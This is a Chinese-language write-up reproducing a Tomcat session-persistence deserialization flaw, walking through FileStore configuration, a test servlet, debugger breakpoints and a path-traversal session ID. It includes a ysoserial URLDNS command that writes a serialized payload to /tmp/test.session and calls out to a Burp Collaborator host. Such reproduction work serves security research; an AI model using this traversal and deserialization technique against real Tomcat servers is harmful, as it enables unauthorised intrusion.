可以看到利用条件较为苛刻,并且在复现的时候需要做一定配置
修改PersistenceManager配置,这个配置是在tomcat目录的conf目录中的context.xml中配置的,根据官网的配置方法,做如下配置
这样2,3条件满足了,之后配置tomcat的debug环境即可
一般文件存储session的问题就是sessionID没有做过滤,允许跳出路径,让session文件变成攻击者控制的文件,导致漏洞产生,这次的session漏洞也不例外
我们选择了session的存储为FileStore,所以在FileStore类的load方法处设置断点
在servlet中创建一个很简单的java session
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Properties properties = new Properties(); properties.setProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK", "true"); System.setProperties(properties); String res = System.getProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK"); System.out.println(res); HttpSession httpSession = req.getSession(); httpSession.setAttribute("username", "admin"); resp.getWriter().println("success"); }
现在我们的漏洞环境就搭建好了,设置tomcat启动即可
我们设置sessionid存在目录穿越符号
刷新页面,被断点拦截
第一步先是获取到session文件
可以看到,我们的sessionID后面会添加一个.session后缀,这也就导致我们需要一个可控文件名的文件上传,这一点就比较难以满足
但是可以看出来,不需要准确知道确定的相对录路径,一直跳到根目录即可,但是因为sessionid有长度限制的,所以还是有一点限制
这个时候,我们可以跳到任意目录了,我们在tmp下面生成了URLDNS的ysoserial,来做dns查询
java -jar ysoserial.jar URLDNS "http://lsh9lo0bpipjrb0kp98cn4khb8h15q.burpcollaborator.net" > /tmp/test.session
只要这个session文件存在,就会将文件内容读取出来,并且创建ObjectInputStream,最后调用了readObjectData
熟悉java反序列化的话这个地方一眼就能看出来有反序列化的问题
我们继续进入readObjectData
调用readObject,触发反序列化
使用URLDNS,成功获取到DNS请求
漏洞利用条件较为苛刻